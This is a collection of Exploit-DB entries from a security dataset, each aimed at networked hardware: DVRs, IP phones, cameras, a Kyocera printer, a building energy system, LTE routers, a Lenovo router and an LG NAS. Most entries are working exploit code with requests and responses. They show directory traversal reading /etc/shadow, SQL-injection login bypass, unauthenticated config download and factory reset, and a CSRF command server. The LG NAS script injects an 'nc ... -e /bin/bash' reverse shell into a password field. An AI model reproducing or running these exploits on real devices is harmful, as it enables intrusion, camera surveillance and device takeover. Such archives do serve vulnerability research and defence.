deardaniel/secdata-raw huggingface dataset:
Exploit-DB #47562
Description: iSeeQ Hybrid DVR WH-H4 2.0.0.P - (get_jpeg) Stream Disclosure
Type: webapps
Platform: hardware
Date: 2019-10-30
Author: LiquidWorm

Exploit:
# Title: iSeeQ Hybrid DVR WH-H4 2.0.0.P - (get_jpeg) Stream Disclosure
# Date: 2019-10-29
# Author: LiquidWorm
# Vendor:iSeeQ
# Link: http://www.iseeq.co.kr
# CVE: N/A

#!/bin/bash
#
#
# iSeeQ Hybrid DVR WH-H4 1.03R / 2.0.0.P (get_jpeg) Stream Disclosure
#
#
# Vendor: iSeeQ
# Product web page: http://www.iseeq.co.kr
# Affected version: WH-H4 1.03R / 2.0.0.P
#
# Summary: The 4/8/16 channel hybrid standalone DVR delivers high quality
# pictures which adopts high performance video processing chips and embedded
# Linux system. This advanced video digital platform is very useful to identify
# an object from a long distance.
#
# Desc: The DVR suffers from an unauthenticated and unauthorized live stream
# disclosure when get_jpeg script is called.
#
# Tested on: Boa/0.94.13
#            PHP/7.0.22
#            DVR Web Server
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2019-5539
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5539.php
#
#
# 28.10.2019
#


if [ "$#" -ne 2 ]; then
    echo "Usage: $0 IP:PORT CHANNEL"
    exit
fi
IP=$1
CHANNEL=$2
HOST="http://$IP/cgi-bin/get_jpeg?ch=$CHANNEL"
STATUS=$(curl -Is http://$IP/cgi-bin/php/login.php 2>/dev/null | head -1 | awk -F" " '{print $2}')
if [ "$STATUS" == "404" ]; then
    echo "Target not vulnerable!"
    exit
fi
echo "Collecting snapshots..."
for x in {1..10};
    do echo -ne $x
    curl "$HOST" -o seq-$x.jpg -#;
    sleep 0.8
    done
echo -ne "\nDone."
echo -ne "\nRendering video..."
ffmpeg -t 10 -v quiet -s 352x288 -r 1 -an -i seq-%01d.jpg -c:v libx264 -vf fps=10 -pix_fmt yuvj422p clip.mp4
echo " done."
echo -ne "\nRunning animation..."
sleep 1
cvlc clip.mp4 --verbose -1 -f vlc://quit
Exploit-DB #48857
Description: Karel IP Phone IP1211 Web Management Panel - Directory Traversal
Type: webapps
Platform: hardware
Date: 2020-10-06
Author: berat isler

Exploit:
# Exploit Title: Karel IP Phone IP1211 Web Management Panel - Directory Traversal
# Exploit Author: Berat Gokberk ISLER
# Date: 2020-09-01
# CVE: N/A
# Type: Webapps
# Vendor Homepage: https://www.karel.com.tr/urun-cozum/ip1211-ip-telefon
# Version: IP1211

Details

Directory traversal vulnerability on the Karel IP1211 IP Phone Web Panel.
Remote authenticated users (Attackers used default credentials in this
case) to perform directory traversal, provides access to sensitive data
under indexes using the "cgiServer.exx?page=" parameter. In this case
sensitive files, "passwd" and "shadow" files.

# Vulnerable Parameter Type: GET
# Payload: ../../../../../../../../etc/passwd or /etc/shadow

# First Request:

GET /cgi-bin/cgiServer.exx?page=../../../../../../../../../../../etc/passwd
HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0)
Gecko/20100101 Firefox/80.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4= # Basic Auth --> admin:admin
Connection: close
Upgrade-Insecure-Requests: 1

# First Response

HTTP/1.0 200 OK
Content-Type:text/html;charset=UTF-8
Expires:-1
Accept-Ranges:bytes
Server:SIPPhone

root:x:0:0:Root,,,:/:/bin/sh
admin:x:500:500:Admin,,,:/:/bin/sh
guest:x:501:501:Guest,,,:/:/bin/sh

# Second Request

GET /cgi-bin/cgiServer.exx?page=../../../../../../../../../../../etc/shadow
HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0)
Gecko/20100101 Firefox/80.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4= # Basic Auth --> admin:admin
Connection: close
Upgrade-Insecure-Requests: 1

# Second Response

HTTP/1.0 200 OK
Content-Type:text/html;charset=UTF-8
Expires:-1
Accept-Ranges:bytes
Server:SIPPhone

root:xxxxxxxxxxxxxxxxxxxxxxxxxxxxx:11876:0:99999:7:::
admin:xxxxxxxxxxxxxxxxxxxxxxxxxxxxx:11876:0:99999:7:::
guest:xxxxxxxxxxxxxxxxxxxxxxxxxxxxx:11876:0:99999:7:::
Exploit-DB #37965
Description: Keeper IP Camera 3.2.2.10 - Authentication Bypass
Type: webapps
Platform: hardware
Date: 2015-08-25
Author: RAT - ThiefKing

Exploit:
# Exploit Title: Keeper IP Camera - Authentication Bypass
# Date: 25/08/2015
# Exploit Author: RAT - ThiefKing
# Vendor Homepage: http://www.keeper.cn/en/Camera-ip.asp
# Version: 3.2.2.10
# WEB Version: 6.1.17.192
# Tested on: QB200W, QB130W, QA130W,...

Exploit:
1 - First, open your browser
2 - Enter the IP address or domain to see the login screen of the camera
3 - Now go to page umanage.asp (http://ipaddress:port/umanage.asp)

You can change or view passwords

TEST: http://server:88/login.asp
-- 
RAT - ThiefKing
http://tromcap.com
Exploit-DB #50146
Description: KevinLAB BEMS 1.0 - Authentication Bypass
Type: webapps
Platform: hardware
Date: 2021-07-21
Author: LiquidWorm

Exploit:
# Exploit Title: KevinLAB BEMS 1.0 - Unauthenticated SQL Injection / Authentication Bypass
# Date: 05.07.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: http://www.kevinlab.com

Vendor: KevinLAB Inc.
Product web page: http://www.kevinlab.com
Affected version: 4ST L-BEMS 1.0.0 (Building Energy Management System)

Summary: KevinLab is a venture company specialized in IoT, Big Data, A.I based energy
management platform. KevinLAB's BEMS (Building Energy Management System) enables
efficient energy management in buildings. It improves the efficient of energy use
by collecting and analyzing various information of energy usage and facilities in
the building. It also manages energy usage, facility efficiency and indoor environment
control.

Desc: The application suffers from an unauthenticated SQL Injection vulnerability.
Input passed through 'input_id' POST parameter in '/http/index.php' is not properly
sanitised before being returned to the user or used in SQL queries. This can be exploited
to manipulate SQL queries by injecting arbitrary SQL code and bypass the authentication
mechanism.

Tested on: Linux CentOS 7
           Apache 2.4.6
           Python 2.7.5
           PHP 5.4.16
           MariaDB 5.5.68


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5655
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5655.php


05.07.2021

--


PoC POST data payload (extract):
--------------------------------

POST /http/index.php HTTP/1.1
Host: 192.168.1.3

requester=login
request=login
params=[{"name":"input_id","value":"USERNAME' AND EXTRACTVALUE(1337,CONCAT(0x5C,0x5A534C,(SELECT (ELT(1337=1337,1))),0x5A534C)) AND 'joxy'='joxy"},{"name":"input_passwd","value":"PASSWORD"},{"name":"device_id","value":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"},{"name":"checked","value":false},{"name":"login_key","value":""}]


PoC POST data payload (authbypass):
-----------------------------------

POST /http/index.php HTTP/1.1
Host: 192.168.1.3

requester=login
request=login
params=[{"name":"input_id","value":"USERNAME' or 1=1--},{"name":"input_passwd","value":"PASSWORD"},{"name":"device_id","value":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"},{"name":"checked","value":false},{"name":"login_key","value":""}]
Exploit-DB #50147
Description: KevinLAB BEMS 1.0 - File Path Traversal Information Disclosure (Authenticated)
Type: webapps
Platform: hardware
Date: 2021-07-21
Author: LiquidWorm

Exploit:
# Exploit Title: KevinLAB BEMS 1.0 - File Path Traversal Information Disclosure (Authenticated)
# Date: 05.07.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: http://www.kevinlab.com

Vendor: KevinLAB Inc.
Product web page: http://www.kevinlab.com
Affected version: 4ST L-BEMS 1.0.0 (Building Energy Management System)

Summary: KevinLab is a venture company specialized in IoT, Big Data, A.I based energy
management platform. KevinLAB's BEMS (Building Energy Management System) enables
efficient energy management in buildings. It improves the efficient of energy use
by collecting and analyzing various information of energy usage and facilities in
the building. It also manages energy usage, facility efficiency and indoor environment
control.

Desc: The BEMS suffers from an authenticated arbitrary file disclosure vulnerability.
Input passed through the 'page' GET parameter in index.php is not properly verified
before being used to include files. This can be exploited to disclose the contents
of arbitrary and sensitive files via directory traversal attacks.

Tested on: Linux CentOS 7
           Apache 2.4.6
           Python 2.7.5
           PHP 5.4.16
           MariaDB 5.5.68


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5656
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5656.php


05.07.2021

--


GET https://192.168.1.3/pages/index.php?page=../../../../etc/passwd HTTP/1.1

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
...
...
Exploit-DB #48561
Description: Kyocera Printer d-COPIA253MF - Directory Traversal (PoC)
Type: webapps
Platform: hardware
Date: 2020-06-08
Author: Hakan Eren ŞAN

Exploit:
# Exploit Title : Kyocera Printer d-COPIA253MF - Directory Traversal (PoC)
# Exploit Author: Hakan Eren ŞAN
# Date: 2020-06-06
# Vendor Homepage: https://www.kyoceradocumentsolutions.com.tr/tr.html
# Version: d-COPIA253MF plus
# Tested on : Linux
# Credit: Berat Isler


# First step , you can capture the main page
# Then create a directory traveral payload like ../../../ this
# Then you add nullbyte to the end of the payload(%00)
# Last step sent your request

This is the code :

Request:


GET /wlmeng/../../../../../../../../../../../etc/passwd%00index.htm HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0)
Gecko/20100101 Firefox/76.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: rtl=0
Upgrade-Insecure-Requests: 1
If-None-Match: "/wlmeng/index.htm, Thu, 04 Jun 2020 13:41:16 GMT"
Cache-Control: max-age=0


Response:

HTTP/1.1 200 OK
Content-Length: 843
Date: Thu, 04 Jun 2020 16:09:54 GMT
Server: KM-MFP-http/V0.0.1
Last-Modified: Thu, 04 Jun 2020 13:41:16 GMT
ETag: "/wlmeng/../../../../../../../../../../../etc/passwd, Thu, 04 Jun
2020 13:41:16 GMT"
Content-Type: text/html

root::0:0:root:/root:/bin/sh
bin:*:1:1:bin:/bin:/bin/sh
daemon:*:2:2:daemon:/usr/sbin:/bin/sh
sys:*:3:3:sys:/dev:/bin/sh
adm:*:4:4:adm:/var/adm:/bin/sh
lp:*:5:7:lp:/var/spool/lpd:/bin/sh
sync:*:6:8:sync:/bin:/bin/sync
shutdown:*:7:9:shutdown:/sbin:/sbin/shutdown
halt:*:8:10:halt:/sbin:/sbin/halt
mail:*:9:11:mail:/var/mail:/bin/sh
news:*:10:12:news:/var/spool/news:/bin/sh
uucp:*:11:13:uucp:/var/spool/uucp:/bin/sh
operator:*:12:0:operator:/root:/bin/sh
games:*:13:60:games:/usr/games:/bin/sh
ftp:*:15:14:ftp:/var/ftp:/bin/sh
man:*:16:20:man:/var/cache/man:/bin/sh
www:*:17:18:www-data:/var/www:/bin/sh
sshd:*:18:19:sshd:/var/run/sshd:/bin/sh
proxy:*:19:21:proxy:/bin:/bin/sh
telnetd:*:20:22:proxy:/bin:/bin/sh
backup:*:34:34:backup:/var/backups:/bin/sh
ais:*:101:101:ais:/var/run/ais:/bin/sh
nobody:*:65534:65534:nobody:/nonexistent:/bin/sh
Exploit-DB #49686
Description: KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 - Config Download (Unauthenticated)
Type: webapps
Platform: hardware
Date: 2021-03-19
Author: LiquidWorm

Exploit:
# Exploit Title: KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 - Config Download (Unauthenticated)
# Date: 03.02.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: http://www.kzbtech.com http://www.jatontec.com https://www.neotel.mk

Vendor: KZ Broadband Technologies, Ltd. | Jaton Technology, Ltd.
Product web page: http://www.kzbtech.com | http://www.jatontec.com | https://www.neotel.mk
                  http://www.jatontec.com/products/show.php?itemid=258
                  http://www.jatontech.com/CAT12.html#_pp=105_564
                  http://www.kzbtech.com/AM3300V.html
                  https://neotel.mk/ostanati-paketi-2/

Affected version:  Model | Firmware
                  -------|---------
                 JT3500V | 2.0.1B1064
                 JT3300V | 2.0.1B1047
                 AM6200M | 2.0.0B3210
                 AM6000N | 2.0.0B3042
                 AM5000W | 2.0.0B3037
                 AM4200M | 2.0.0B2996
                 AM4100V | 2.0.0B2988
                AM3500MW | 2.0.0B1092
                 AM3410V | 2.0.0B1085
                 AM3300V | 2.0.0B1060
                 AM3100E | 2.0.0B981
                 AM3100V | 2.0.0B946
                 AM3000M | 2.0.0B21
                 KZ7621U | 2.0.0B14
                 KZ3220M | 2.0.0B04
                 KZ3120R | 2.0.0B01

Summary: JT3500V is a most advanced LTE-A Pro CAT12 indoor Wi-Fi
& VoIP CPE product specially designed to enable quick and easy
LTE fixed data service deployment for residential and SOHO customers.
It provides high speed LAN, Wi-Fi and VoIP integrated services
to end users who need both bandwidth and multi-media data service
in residential homes or enterprises. The device has 2 Gigabit LAN
ports, 1 RJ11 analog phone port, high performance 4x4 MIMO and
CA capabilities, 802.11b/g/n/ac dual band Wi-Fi, advanced routing
and firewall software for security. It provides an effective
all-in-one solution to SOHO or residential customers. It can
deliver up to 1Gbps max data throughput which can be very
competitive to wired broadband access service.

Desc: JT3500V is vulnerable to unauthenticated configuration disclosure
when direct object reference is made to the export_settings.cgi file
using an HTTP GET request. This will enable the attacker to disclose
sensitive information and help her in authentication bypass, privilege
escalation and full system access.

Tested on: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.1.3-OPEN
           Linux 2.6.36+ (mips)
           Mediatek APSoC SDK v4.3.1.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5644
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5644.php


03.02.2021

--


$ curl -sk -O https://192.168.1.1/cgi-bin/export_settings.cgi; ls -alsth config.dat
8.0K -rw-rw-r-- 1 teppei teppei 5.5K Feb  4 11:31 config.dat
Exploit-DB #49684
Description: KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 - Factory Reset (Unauthenticated)
Type: webapps
Platform: hardware
Date: 2021-03-19
Author: LiquidWorm

Exploit:
# Exploit Title: KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 - Factory Reset (Unauthenticated)
# Date: 03.02.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: http://www.kzbtech.com http://www.jatontec.com https://www.neotel.mk

Vendor: KZ Broadband Technologies, Ltd. | Jaton Technology, Ltd.
Product web page: http://www.kzbtech.com | http://www.jatontec.com | https://www.neotel.mk
                  http://www.jatontec.com/products/show.php?itemid=258
                  http://www.jatontech.com/CAT12.html#_pp=105_564
                  http://www.kzbtech.com/AM3300V.html
                  https://neotel.mk/ostanati-paketi-2/

Affected version:  Model | Firmware
                  -------|---------
                 JT3500V | 2.0.1B1064
                 JT3300V | 2.0.1B1047
                 AM6200M | 2.0.0B3210
                 AM6000N | 2.0.0B3042
                 AM5000W | 2.0.0B3037
                 AM4200M | 2.0.0B2996
                 AM4100V | 2.0.0B2988
                AM3500MW | 2.0.0B1092
                 AM3410V | 2.0.0B1085
                 AM3300V | 2.0.0B1060
                 AM3100E | 2.0.0B981
                 AM3100V | 2.0.0B946
                 AM3000M | 2.0.0B21
                 KZ7621U | 2.0.0B14
                 KZ3220M | 2.0.0B04
                 KZ3120R | 2.0.0B01

Summary: JT3500V is a most advanced LTE-A Pro CAT12 indoor Wi-Fi
& VoIP CPE product specially designed to enable quick and easy
LTE fixed data service deployment for residential and SOHO customers.
It provides high speed LAN, Wi-Fi and VoIP integrated services
to end users who need both bandwidth and multi-media data service
in residential homes or enterprises. The device has 2 Gigabit LAN
ports, 1 RJ11 analog phone port, high performance 4x4 MIMO and
CA capabilities, 802.11b/g/n/ac dual band Wi-Fi, advanced routing
and firewall software for security. It provides an effective
all-in-one solution to SOHO or residential customers. It can
deliver up to 1Gbps max data throughput which can be very
competitive to wired broadband access service.

Desc: The device allows unauthenticated attackers to visit the
unprotected /goform/LoadDefaultSettings endpoint and reset the
device to its factory default settings. Once the GET request is
made, the device will reboot with its default settings allowing
the attacker to bypass authentication and take full control of
the system.

Tested on: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.1.3-OPEN
           Linux 2.6.36+ (mips)
           Mediatek APSoC SDK v4.3.1.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5642
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5642.php


03.02.2021

--


$ curl -sk https://192.168.1.1/goform/LoadDefaultSettings
success
$
Exploit-DB #46147
Description: Lenovo R2105 - Cross-Site Request Forgery (Command Execution)
Type: webapps
Platform: hardware
Date: 2019-01-14
Author: Nathu Nandwani

Exploit:
# Exploit Title: Lenovo R2105 Remote Code Execution through CSRF
# Date: 01/14/2019
# Exploit Author: Nathu Nandwani
# Website: http://nandtech.co/
# Version: 1.0
# Tested on: Windows 10 x64
# Note: The administrator who opens the URL should be authenticated.

import socket
 
server_ip = "0.0.0.0"
server_port = 80 
router_ip = "192.168.11.1"

command = "reboot"
 
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((server_ip, server_port))
sock.listen(1)
 
print "Currently listening at " + server_ip + ":" + str(server_port)        
 
client, (client_host, client_port) = sock.accept()
 
print "Client connected: " + client_host + ":" + str(client_port)
print ""
print client.recv(1000)
 
client.send('HTTP/1.0 200 OK\r\n')
client.send('Content-Type: text/html\r\n')
client.send('\r\n')
client.send("""
<html>
    <body>
        <form method="post" id="frmcmd" name="frmSetup" action="http://""" + router_ip + """/goform/SystemCommand">
            <input name="command" value=""" + command + """ type="hidden">
            <input name="SystemCommandSubmit" value="Apply" type="hidden">
        </form>
        <script>
            document.getElementById("frmcmd").submit();
        </script>
    </body>
</html>
""")
 
client.close()
sock.close()
Exploit-DB #36042
Description: LG DVR LE6016D - Remote File Disclosure
Type: webapps
Platform: hardware
Date: 2015-02-10
Author: Yakir Wizman

Exploit:
----------------------------------------------------------------------
Title		: LG DVR LE6016D - Remote File Disclosure Vulnerability (0day)
CVE-ID		: none
Product		: LG
Affected 	: All versions
Impact		: Critical
Remote		: Yes
Product link: http://www.lgecommercial.com/security-en/products/analog-product/analog-dvr/lg-LE6016D
Reported	: 10/02/2015
Author		: Yakir Wizman, yakir.wizman@gmail.com


Vulnerability description:
----------------------------------------------------------------------
No authentication (login) is required to exploit this vulnerability. 
The LG DVR application is prone to a remote file disclosure vulnerability.
An attacker can exploit this vulnerability to retrieve stored files on server such as '/etc/passwd' and '/etc/shadow' by using a simple url request which made by browser.
More over, an attacker may be able to compromise encrypted login credentials for or retrieve the device's administrator password allowing them to directly access the device's configuration control panel.


Proof of concept:
----------------------------------------------------------------------
The following simple url request will retrieve '/etc/shadow' file:
http://127.0.0.1:1234/etc/shadow


~eof.
Exploit-DB #45109
Description: LG NAS 3718.510.a0 - Remote Command Execution
Type: webapps
Platform: hardware
Date: 2018-07-31
Author: 0x616163

Exploit:
# LG NAS 3718.510.a0 - Remote Command Execution
# Author: @0x616163
# Date: 2018-07-29
# Credits: https://www.vpnmentor.com/blog/critical-vulnerability-found-majority-lg-nas-devices/
# CVE: N/A
# Firmware Version: 3718.510.a0

#!/usr/bin/env python

import sys
import argparse
import requests
from collections import OrderedDict

def checkUser(target):
	# Exploiting this vulnerability requires a valid user account
	# on the target NAS otherwise the vulnerable code is not executed
	parameters = OrderedDict([('op_mode', 'login'), ('id', 'admin'), ('password', 'pass'), ('mobile', 'false')])
	r = requests.post("http://" + target + ":8000/en/php/login_check.php", data=parameters)
	if r.text == "NG:WRONG PASSWORD\n":
		print "[*] Valid user found: admin"
		return 0
	elif r.text == "NG:NO USER\n":
		print "[*] User not found: admin"
		sys.exit(1)

def sendPayload(target,lhost,lport):
	print "[*] Sending payload.."
	try:
		parameters = OrderedDict([('op_mode', 'login'), ('id', 'admin'), ('password', 'pass;/usr/bin/nc ' + lhost + " " + lport + " " + '-e /bin/bash'), ('mobile', 'false')])
		r = requests.post("http://" + target + "/en/php/login_check.php", data=parameters,timeout=0.001)
	except requests.exceptions.ReadTimeout:
		print "[*] Payload sent. Exiting."
		sys.exit(0)

	return 0
def main():
	parser = argparse.ArgumentParser(add_help=True, description='LG NAS Unauthenticated Remote Code Execution')
	parser.add_argument('-t', action="store", dest='target', help='Target host or IP')
	parser.add_argument('-l', action="store", dest='lhost', help='Local host or IP')
	parser.add_argument('-p', action="store", dest='lport', help='Listening TCP port to connect back to')
	results = parser.parse_args()
	args = vars(results)
	if len(sys.argv) < 1:
		parser.print_help()
		sys.exit(1)
	else:
		if checkUser(args['target']) == 0:
			sendPayload(args['target'], args['lhost'],args['lport'])

main()
sys.exit(0)